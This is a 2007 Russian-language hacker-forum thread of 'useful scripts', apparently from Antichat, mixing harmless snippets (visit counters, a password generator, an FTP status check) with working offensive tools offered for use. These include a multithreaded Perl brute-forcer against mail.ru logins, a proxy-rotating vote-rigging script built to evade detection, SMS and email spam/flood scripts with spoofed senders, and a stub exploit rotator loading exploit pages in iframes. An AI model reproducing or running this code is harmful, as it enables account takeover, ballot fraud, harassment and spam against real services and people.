Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    потом создаюём counter.dat
    и там пропишем
    просто счётчик на перле
     
    1 person likes this.
  2. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Простейший персональный счетчик на php кстати помещается в 4 строчки :) если использовать cookies.

    PHP:
    <?php
        
    if (!isset($counter))
            
    $counter 0;
        
    $counter++;
        
    setcookie("counter"$counter0xAAAAAAAA);
        echo 
    "You have visited this page $counter times.";
    ?>
     
    2 people like this.
  3. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Скрипт для брута названий табличек/полей
    при реализации скул-инъекций. (во вложении).
     

    Attached Files:

  4. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
    For 1 threads time = 55
    For 2 threads time = 52
    For 3 threads time = 50
    в результате установится 3 потока
    P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
    Code:
    #!/usr/bin/perl
    
    use IO::Socket::INET;
    use threads;
    use threads::shared;
    my @pass : shared;
    
    ######################################
    $dic = 'pass.txt';
    $mail = '[email protected]';
    ######################################
    $thr = 1;
    ######################################
    
    ( $login, $dom ) = split ( /@/, $mail );
    open (pass, "<$dic");
    open (bad, ">bad.txt");
    Next:
    @pass = pass();
    my $time_start = time;
    if ( @pass == 0 ) {
    	print "Sorry, password not found =(\n";
    	exit;
    }
    for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
    for(0..$thr) { $trl[$_]->join; }
    sub Brut
    {
    	while (@pass){
    	$pass = shift @pass;
    	$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
    	$sock = IO::Socket::INET->new(Proto=>'tcp',
    				      PeerAddr=>'win.mail.ru',
    				      PeerPort=>80);
    	print $sock  "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
    		     "Host: win.mail.ru\r\n".
    		     "Accept: */*\r\n".
    		     "Range: bytes=0-63\r\n".
    		     "User-Agent: Opero\r\n".
    		     "Content-Type: application/x-www-form-urlencoded\r\n".
    		     "Content-Length: ".length($data)."\r\n".
    		     "Connection: close\r\n\r\n$data";
    	$answ = <$sock>;
    	close $sock;
    	#print "$pass\t$answ";
    	if ($answ =~ /302/){
    		open (good, '>>good.txt');
    		print good "$login:$pass\n";
    		print "$login:$pass\n";
    		close good;
    		exit;
    	}
    }
    }
    if ( $thr < 20 && $key == 0 ) {
    	my $time_end = time;
    	my $timer = $time_end - $time_start;
    	print "For $thr threads time = $timer\n";
    	$optim[$timer] = $thr;
    	$thr++;
    } elsif ($key == 0) {
    	while (1) {
    		$thr = shift @optim;
    		print "Thr $thr\n";
    		last if ($thr);
    	}
    	$key = 1;
    }
    goto Next;
    sub pass
    {
    	my (@mas);
    	while (<pass>){
    	push @mas, $_;
    	last if (@mas > 300);
    	}
    	print bad $_;
    	print $_;
    	chomp @mas;
    	return @mas;
    }
     
    #164 C!klodoL, 24 Aug 2007
    Last edited: 24 Aug 2007
    3 people like this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    маленький и простой генератор случайных паролей из читабельных символов...
    PHP:
    <?for($i;$i<$_GET['len'];$i++) echo chr(rand(33,126));?>
     
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    извини пожалуйста, но это не самый полезный скрипт... он конечно выдает фигню какуюто (не пробовал, но вижу) а куда дальше фигню девать, знает лишь мудрец мохнатый... и на пароли (извини) это будет не похоже... я бы мог написать скриптец, который существенно дополнит твой, но не буду т.к. этот баян существует со времен царя Гороха...
    (извини если че не так)
     
    #166 Scipio, 28 Aug 2007
    Last edited: 28 Aug 2007
  7. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    В теме уже пошли не скрипты а их обсуждение... Вернее выяснение отношений...
     
  8. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    ..для чего, написано в заголовке и выдает нормальные случайные пароли необходимой длины, проверь...
    А запостил, т.к. в нете не нашлось маленького простого генератора (а всякого г... навалом), был интерес написать свое в минимум кода...
    Для этого и выложил чтоб каждый дальше сам дополнял необходимый ему функционал.
    ЗЫ
    сорри за офтоп в теме...
     
  9. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Кому не трудно, подкиньте пожалуйста Php-код для индикации состояния ФТП-сервера (В смысле "работает", "ошибка подключения" и т.п.). Я имею ввиду не чекер, а информер для сайта.
     
  10. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    PHP:
    <?php
    $ftp_server 
    "10.252.31.31";
    $conn_id ftp_connect($ftp_server);
    if (!
    $conn_id) { 
            echo 
    "OFFLINE";
            exit; 
        } else {
            echo 
    "ONLINE";
        }
    ftp_close($conn_id); 
    ?> 
     
    1 person likes this.
  11. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Спасибо.
    А возможно ли добавить таймаут на опрос? Иначе, если сервер упал, информер слишом долго "соображает". Сервер и портал в одной сети, коннект должен происходить быстро. В противном случае, сервер можно считать упавшим заочно.
     
  12. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    PHP:
    <?php
    error_reporting
    (0);
    $ftp_server "10.252.31.31"//ФТП СЕРВЕР
    $port "21"//ПОРТ, СТАНДАРТНЫЙ 21
    $timeout "1"//ТАЙМАУТ СОЕДИНЕНИЯ
    $conn_id ftp_connect($ftp_server$port$timeout);
    if (!
    $conn_id) { 
            echo 
    "OFFLINE";
            exit; 
        } else {
            echo 
    "ONLINE";
        }
    ftp_close($conn_id); 
    ?> 
     
    #172 Sharky, 30 Aug 2007
    Last edited: 30 Aug 2007
  13. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Раз уж на то пошло, в том скрипте второй индекс для массива указывать было совсем не обязательно.
     
  14. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    массивы автоматически индексируются, если нужно int-значение в кач-ве аргумента.

    пример:
    $massiv['sym'][] = "k";
    $massiv['sym'][] = "y";
    print $massiv['sym']['1'];

    отобразит "y".
    как и print $massiv['sym'][1];

    ps: я сказал "не обязательно", это не значит "неправильно".
     
  15. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    PHP:
    <?php
        ignore_user_abort
    (1);
        
    set_time_limit(0);
        
    $browsers = array ("MSIE 6.0""Mozilla/4.0""Mozilla/5.0""Opera/9.23""MSIE 7.0");
        
    $send  "GET http://site.ru/index.html?vote=123 HTTP/1.1\r\n"
        
    $send .= "Host: site.ru\r\n"
        
    $send .= "User-Agent: ".$browsers[rand(0,4)]."\r\n"
        
    $send .= "Referer: http://site.ru/index.html\r\n"
        
    $send .= "Pragma: no-cache"
        
    $send .= "Connection: Close\r\n\r\n"
        
        
    $vote_count 0;
        
    $error1 "Proxy ".$proxy." isn't available!\r\n";
        
        
    $proxy_file "proxy.txt";
        
    $proxy_file_handle fopen($proxy_file,"r");
        
    $report_file "report.txt";
        
    $report_file_handle fopen($report_file,"a");
        
        
    fputs($report_file_handle,"Voting successfully started on ".date('l dS \of F Y h:i:s A')."!\r\n");
        
        while(!
    feof($proxy_file_handle))
        {
        
    $proxy fgets($proxy_file_handle,1024);
        
    $proxy_in_parts explode(":",$proxy);
        
    $ip $proxy_in_parts[0];
        
    $port $proxy_in_parts[1];
        
        
    $socket fsockopen($proxy,$port,&$errno,&$errstr);
        if (!
    $socket)
            {
                
    fputs($report_file_handle,$error1);
                continue;
            }
        else
            {
                if(
    fputs($socket,$send))
                {
                
    $vote_count++;
                
    fputs($report_file_handle,"You've voted ".$vote_count." times\r\n");
                
    $rand_numb=rand(300,600);
                
    sleep($rand_numb);
                }
                else continue;        
            };
        };
        
    fclose($socket);
        
    fclose($proxy_file_handle);
        
    fputs($report_file_handle,"Voting finished on ".date('l dS \of F Y h:i:s A')."!\r\n\r\n------------------------------------------------\r\n\r\n");
        
    fclose($report_file_handle);


    ?>
    Накрутчик голосований. Писал сам. Есть поддержка проксей (proxy.txt)+отчет о количестве голосов пишется в файл report.txt. Для беспалевности в поле User-Agent get запроса случайно добавляется один из 5 браузеров, еще промежуток между голосами стоит от 5 до 10 минут в секундах (случайно). Скрипт писался под рейтинг кс серверов.
     
    6 people like this.
  16. sM1L3

    sM1L3 New Member

    Joined:
    5 Mar 2007
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Code:
    javascript:d=document;for(i=0;i<d.images.length;i++){d.images[i].src='http://hacking.ge/templates/standard/img/page/logo.gif';void(0)};As=d.getElementsByTagName('a');for(i=0;i<As.length;i++){a=As[i];a.href='http://www.hacking.ge';if(a.innerHTML.indexOf('IMG')==-1){s='';while(s.length<a.innerText.length)s=s+'HACK ';a.innerText=s;}void(0);}
    Прикольный скрипт :cool: Вводим его в адресную строку любого сайта, желательно чтоб на сайте было много картинок :p
     
    1 person likes this.
  17. Rast1k

    Rast1k Banned

    Joined:
    9 Aug 2007
    Messages:
    39
    Likes Received:
    30
    Reputations:
    -75
    Вот скрипт адресной книги куки:
    Вставляем между <head> & </head>
    Code:
    <SCRIPT LANGUAGE="JavaScript">
    var arrRecords = new Array();
    var arrCookie = new Array();
    var recCount = 0;
    var strRecord="";
    expireDate = new Date;
    expireDate.setDate(expireDate.getDate()+365);
    
    function cookieVal(cookieName) {
    	thisCookie = document.cookie.split("; ")
    		for (i = 0; i < thisCookie.length; i++) {
    			if (cookieName == thisCookie[i].split("=")[0]) {
    				return thisCookie[i].split("=")[1];
      	 		}
    		}
    	return 0;
    }
    
    function loadCookie() {
    	if(document.cookie != "") {
    		if(cookieVal("Records")	!= ""){
    			arrRecords = cookieVal("Records").split(",");
    		}
    	currentRecord();
       	}
    }
    
    function setRec() {
    	strRecord = "";
    	for(i = 0; i < document.frm1.elements.length; i++) {
    		strRecord = strRecord + document.frm1.elements[i].value + ":";
    	}
    	arrRecords[recCount] = strRecord;
    	document.frm2.add.value = "  NEW  ";
    	document.cookie = "Records="+arrRecords+";expires=" + expireDate.toGMTString();
    }
    
    
    function newRec() {
    	switch (document.frm2.add.value) {
    		case "  NEW  " :
       			varTemp = recCount;
      				for(i = 0; i < document.frm1.elements.length; i++) {
       					document.frm1.elements[i].value = ""
       				}
       			recCount = arrRecords.length;
       			document.frm2.add.value = "CANCEL";
       			break;
    		case "CANCEL" :
       			recCount = varTemp;
      		 	document.frm2.add.value = "  NEW  ";
       			currentRecord();
       			break;
       		}
    }
    
    function countRecords() {
    	document.frm2.actual.value = "Record " + (recCount+1)+";  "+arrRecords.length+" saved records";
    }
    
    function delRec() {
    	arrRecords.splice(recCount,1);
    	navigate("previous");
    	setRec();
    }
    
    function currentRecord() {
    	if (arrRecords.length != "") {
    		strRecord = arrRecords[recCount];
    		currRecord = strRecord.split(":");
    			for(i = 0; i < document.frm1.elements.length; i++) {
    				document.frm1.elements[i].value = currRecord[i];
          			}
       	}
    }
    
    function navigate(control) {
    	switch (control) {
    		case "first" :
    			recCount = 0;
    			currentRecord();
    			document.frm2.add.value = "  NEW  ";
    			break;
    		case "last" :
    			recCount = arrRecords.length - 1;
    	   		currentRecord();
    			document.frm2.add.value = "  NEW  ";
    			break;
    		case "next" :
    			if (recCount < arrRecords.length - 1) {
    				recCount = recCount + 1;
    				currentRecord();
    				document.frm2.add.value = "  NEW  ";
    			}
    	  		break;
    		case "previous" :
       			if (recCount > 0) {
       				recCount = recCount - 1;
       				currentRecord();
       			}
       			document.frm2.add.value = "  NEW  ";
       			break;
       		default:
       	}
    }
    
    // Splice method Protype Function
    // Peter Belesis, Internet.com
    // http://www.dhtmlab.com/
    
    function pageLoad(){
    if (!Array.prototype.splice) {
    	function array_splice(ind,cnt) {
    	if (arguments.length == 0) return ind;
    	if (typeof ind != "number") ind = 0;
    	if (ind < 0) ind = Math.max(0,this.length + ind);
    	if (ind > this.length) {
    	if (arguments.length > 2) ind = this.length;
    	else return [];
    	}
    	if (arguments.length < 2) cnt = this.length-ind;
    	cnt = (typeof cnt == "number") ? Math.max(0,cnt) : 0;
    	removeArray = this.slice(ind,ind+cnt);
    	endArray = this.slice(ind+cnt);
    	this.length = ind;
    	for (var i = 2; i < arguments.length; i++) {
    	this[this.length] = arguments[i];
    }
    for(var i = 0; i < endArray.length; i++) {
    	this[this.length] = endArray[i];
    }
    return removeArray;
    }
    Array.prototype.splice = array_splice;
    }
    	recCount = 0;
    	loadCookie();
    	countRecords();
    }
    
    </script>
    Вставляем код между <body & ">"
    Code:
    onLoad="pageLoad()" 
    Вставляем код между <body> & </body>
    Code:
    <center>
    <form name="frm1">
    <table align="center" resize="none" border="0">
    	<tr>
    		<td align="right">Name:</td>
    		<td colspan="5"><input type="box" name="name" size="49"></td>
    	</tr>
    	<tr>
    		<td align="right">Address:</td><td colspan="5"><input type="box" name="address" size="49"></td></tr>
    		<td align="right">Address 2:</td><td colspan="5" align="left"><input type="box" name="address2" size="49"></td>
    	</tr>
    	<tr>
    		<td align="right">City:</td>
    		<td><input type="box" name="city" size="15"></td>
    		<td>State:</td><td><input type="box" name="state" size="15"></td>
    		<td>Zip:</td><td><input type="box" size="6" name="zip"></td>
    	</tr>
    	<tr>
    		<td align="right">Phone:</td>
    		<td align="left"><input type="box" name="phone" size="15"></td>
    		<td align="right">Fax:</td><td align="left"><input type="box" name="fax" size="15"></td>
    	</tr>
    	<tr>
    		<td align="right">Web Page:<td colspan="5" align="left"><input type="box" name="address" size="49"></td>
    	</tr>
    	<tr>
    		<td align="right">E-Mail:<td colspan="5" align="left"><input type="box" name="email" size="49"></td>
    	</tr>
    	<tr>	
    		<td align="right" valign="top">Comments:</td>
    		<td colspan="5" align="left"><input type="box" name="comment1" size="49"><br>
    		<input type="box" name="comment2" size="49"><br>
    		<input type="box" name="comment3" size="49"><br>
    		<input type="box" name="comment4" size="49"><br>
    		<input type="box" name="comment5" size="49">
    		</td>
    	</tr>
    </table>
    </form>
    <form name="frm2">
    <table align="center" border="1" resize="none">
    	<tr>
    		<td align="center">
    		<input type="button" name="first" value="|<<  " onClick="navigate('first');countRecords()">
    		<input type="button" name="previous" value="  <  " onClick="navigate('previous');countRecords()">
    		<input type="button" name="next" value="  >  " onClick="navigate('next');countRecords()">
    		<input type="button" name="last" value="  >>|" onClick="navigate('last');countRecords()">
    		<input type="box" name="actual" size=30>
    		</td>
    	</tr>
    	<tr>
    		<td align="center">
    		<input type="button" name="add" value="  NEW  " onClick="newRec();countRecords()">
    		<input type="button" name="set" value="SAVE RECORD" onClick="setRec();countRecords()">
    		<input type="button" name="del" value="Delete" onClick="delRec();countRecords()">
    		</td>
    	</tr>
    	</table>
    </form>
    </center>
     
  18. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    MegaFon ::: Spamer ::: Flooder
    Только что написал.. Вроде должен работать, а так не проверял.
    PHP:
    <? 
    #(c) NOmeR1 
    if(!set_time_limit(0)) { $limit false; } 
    else { 
    set_time_limit(0); ignore_user_abort(1); $limit true; } 
    $lockfile 'lock.lock'//Если в каталоге этот файл, то флуд и спам перестают работать 
    $spisok 'spisok.txt'//Файл списка номеров для спама 
    $log 'log.txt'//Файл лога 
    $symb 'QWERTYUIOPADFGHJKLZXCVBNM'
    $mails = array('mail.ru''inbox.ru''bk.ru''list.ru''gmail.com''gmail.ru'); 
    ?> 
    <title>MegaFon ::: Spamer ::: Flooder</title> 
    <? 
    if($_GET['spam'] == '1') 

     if($_POST['from'] && $_POST['to'] && $_POST['msg'] && $_POST['from'] < $_POST['to']) 
     { 
      for($i=$_POST['from'];$i<=$_POST['to'];$i++) 
      { 
       if(file_exists($lockfile)) 
       { 
        echo('Файл блокирования найден'); break; 
       } 
       $i = '7'.substr($i, 1); 
       $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
       mail($i.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
       if($_POST['logs'] == '1') 
       { 
        $f = fopen($log,'a') or die('Не возможно открыть файл лога'); 
        fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$i."\r\n") or die('Не возможно записать в файл лога'); 
        fclose($f); 
       } 
       sleep(7); 
      } 
      echo('<font color=YellowGreen>Завершено успешно</font><br>'); 
     } 
     if($_POST['spisok'] == '1' && $_POST['msg']) 
     { 
      $file = file($spisok); 
      for($i=0;$i<count($file);$i++) 
      { 
       if(file_exists($lockfile)) 
       { 
        echo('Файл блокирования найден'); break; 
       } 
       $file[$i] = $mobile; 
       $mobile = preg_replace('/[^0-9]/','',$mobile); 
       $mobile = '7'.substr($mobile, 1); 
       $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
       mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
       if($_POST['logs'] == '1') 
       { 
        $f = fopen($log,'a') or die('Не возможно открыть файл лога'); 
        fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); 
        fclose($f); 
       } 
       sleep(7); 
      } 
      echo('<font color=YellowGreen>Завершено успешно</font><br>'); 
     } 
     else 
     { 
    ?> 
    Файл списка (<?=$spisok?>) <?if(is_writable($spisok)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
    Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
    Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> 
    set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> 

    <form method='post' style='width:300'> 
    Начало: <input type='text' name='from' value='79030000000'><br> 
    Конец: <input type='text' name='to' value='79030000500'><br> 
    Использовать список? <input type='checkbox' name='spisok' value='1'> - <?=$spisok?><br> 
    Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> 
    <textarea name='msg' rows='5' cols='30'></textarea><br> 
    <input type='submit'> 
    </form> 
    <? 
     } 

    elseif($_GET['flood'] == '1') 

     if(!set_time_limit(0)) { $limit = false; } 
     else { set_time_limit(0); ignore_user_abort(1); $limit = true; } 
     if($_POST['mob'] && $_POST['kol'] && $_POST['msg']) 
     { 
      $file = file($spisok); 
      for($i=0;$i<$_POST['kol'];$i++) 
      { 
       if(file_exists($lockfile)) 
       { 
        echo('Файл блокирования найден'); break; 
       } 
       $mobile = $_POST['mob']; 
       $mobile = preg_replace('/[^0-9]/','',$mobile); 
       $mobile = '7'.substr($mobile, 1); 
       $from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)]; 
       mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс'); 
       sleep(7); 
      } 
      if($_POST['logs'] == '1') 
      { 
       $f = fopen($log,'a') or die('Не возможно открыть файл лога'); 
       fwrite($f, 'Flood ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога'); 
       fclose($f); 
      } 
      echo('<font color=YellowGreen>Завершено успешно</font><br>'); 
     } 
     else 
     { 
    ?> 
    Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br> 
    Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br> 
    set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br> 

    <form method='post' style='width:300'> 
    Номер: <input type='text' name='mob' value='79030000000'><br> 
    Количество СМС: <input type='text' name='kol' value='50'><br> 
    Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br> 
    <textarea name='msg' rows='5' cols='30'></textarea><br> 
    <input type='submit'> 
    </form> 
    <? 
     } 

    ?> 
    <a href='<?=$_SERVER["PHP_SELF"]?>?spam=1'>Спам</a><br> 
    <a href='<?=$_SERVER["PHP_SELF"]?>?flood=1'>Флуд</a>
     
    #178 NOmeR1, 8 Sep 2007
    Last edited: 8 Sep 2007
  19. Rast1k

    Rast1k Banned

    Joined:
    9 Aug 2007
    Messages:
    39
    Likes Received:
    30
    Reputations:
    -75
    Смотрел статьи, нашел тут про ротатор эксплоитов.

    Вот решил выложить простенький для двух:
    Code:
    <html>
    <head>
    <meta>
    </head>
    <SCRIPT>
    brouser=navigator.appName
    cpu=navigator.cpuClass
    
    //определение версии OC
    
    function test_os() {
    if ((navigator.userAgent.indexOf ('Win') != -1) &&
    (navigator.userAgent.indexOf('98') != -1))
    { var OpSys = "Windows 98"; }
    else if((navigator.userAgent.indexOf('Win') != -1) &&
    (navigator.userAgent.indexOf('95') != -1))
    { var OpSys = "Windows 95"; }
    else if(navigator.appVersion.indexOf("16") !=-1)
    { var OpSys = "Windows 3.1"; }
    else if (navigator.appVersion.indexOf ("NT") !=-1)
    { var OpSys= "Windows NT"; }
    else if (navigator.appVersion.indexOf ("Linux") !=-1)
    { var OpSys = "Linux"; }
    else if (navigator.userAgent.indexOf ('Mac') != -1)
    { var OpSys = "Macintosh"; }
    else { var OpSys = "other"; }
    return OpSys;
    }
    
    function nomer() {
    var nomer="0"
    if (brouser==="Microsoft Internet Explorer")
    { nomer="0";nomer="1"; }
    
    return (nomer);
    }
    
    var sites = new Array();
    var currentPage0 = 0;
    var currentPage1 = 1;
    sites[0] = "spl1.html?quot;;
    sites[1] = "spl2.html?quot;;
    function changePage() {
    document.getElementById( "ifrm0" ).src = sites[currentPage0];
    document.getElementById( "ifrm1" ).src = sites[currentPage1];
    }
    
    </script>
    <body>
    <iframe>
    <iframe>
    </body>
    </html>
     
  20. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Email :: FLoodeR :: SpameR
    Только что минут за 30 написал. :) Может пригодится кому..
    PHP:
    <?
    #(C) NOmeR1
    ?>
    <title>Email :: FLoodeR :: SpameR</title>
    <?

    error_reporting (0);
    if(!set_time_limit(0)) {
     $limit = false;
    } else {
     set_time_limit(0);
     ignore_user_abort(1);
     $limit = true;
    }

    $log = 'log.txt'; // Файл лога

    ini_set('max_execution_time', '0');

    ?>
    Файл лога <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=YellowGreen>доступен для записи</font>'); } else { echo('<font color=Red>не доступен для записи</font> (права должны быть <font color=YellowGreen>0777</font>)'); } } else { echo('не существует - права на диру должны быть <font color=YellowGreen>0777</font>'); }?><br>
    set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>
    <?

    $ip = getenv('REMOTE_ADDR');

    if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
    {

     $_POST['to'] = stripslashes($_POST['to']);
     $_POST['msg'] = stripslashes($_POST['msg']);
     $_POST['from'] = stripslashes($_POST['from']);
     $_POST['subject'] = stripslashes($_POST['subject']);

     if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
     {
      $headers  = "MIME-Version: 1.0\r\n";
      $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
      $headers .= "From: ".$_POST['from']."\n";
      if($_GET['mail'] == '1')
      {
       mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
      }
      elseif($_GET['mail'] == '2')
      {
       $_POST['to'] = explode("\n",$_POST['to']); 
       foreach($_POST['to'] as $poluchatels)
       {
        mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
       }
      }
      elseif($_GET['mail'] == '3')
      {
       if(preg_match('/[0-9]+/',$_POST['kol']))
       {
        for($i=0;$i<$_POST['kol'];$i++)
        {
         mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
         sleep(1);
        }
       }
       else
       {
        echo('Неверно введено (или не введено) кол-во сообщений');
       }
      }
      $f = fopen($log,'a');
      fwrite($f,'Отправелено сообщение с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
      fclose($f);
      echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
     }
     else
     {
    ?>
    <form style="width:350px" method='post'>
    <?
     if($_GET['mail'] == '1' || $_GET['mail'] == '3')
     {
      echo("Получатель &nbsp;<input type='text'name='to'><br>");
     }
    ?>
    Отправитель<input type='text' name='from'><br> 
    Тема сообщ. &nbsp;<input type='text' name='subject'><br> 
    <?
     if($_GET['mail'] == '3')
     {
      echo("Кол-во сообщений <input type='text' name='kol'><br>");
     }
    ?>
    <br>
    htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'>&lt;- text<br>
    <?
     if($_GET['mail'] == '2')
     {
      echo("Получатели<br><textarea name='to' rows='10' cols='30'>[email protected]
    [email protected]
    [email protected]</textarea>");
     }
    ?>
    <br>Сообщение<br>
    <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
    </form>
    <?
     }
    } else {
    ?><br>
    <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br>
    <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br>
    <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br>
    <?
    }
    ?>
    Пробывал флудить mail.ru <- флудит 10 сообщений за 10 секунд, но зато они все приходят!
     
    #180 NOmeR1, 10 Sep 2007
    Last edited: 10 Sep 2007
    1 person likes this.